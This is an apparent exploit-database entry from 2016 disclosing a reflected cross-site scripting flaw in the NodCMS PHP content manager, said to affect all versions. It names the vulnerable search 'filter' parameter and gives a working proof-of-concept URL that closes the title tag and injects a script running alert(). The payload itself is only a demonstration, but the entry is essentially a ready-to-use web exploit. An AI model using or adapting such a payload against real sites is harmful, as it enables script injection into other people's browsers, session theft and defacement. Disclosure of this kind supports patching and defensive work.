# Exploit Title :             nodcms cross site scripting
# Author :                     Ashiyane Digital Security Team
# Date :                       29/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :  http://www.nodcms.com/en
 Software link :
https://github.com/khodakhah/nodcms/archive/master.zip
#version : All version
####################################################################
 Path Of Vulnerability :
 http://sitname/en/search?filter=

example:
http://sitname/en/search?filter=</title><script>alert(/Amir.ght/)</script>
 ####################################################################
#-# Discovered by : Amir.ght
####################################################################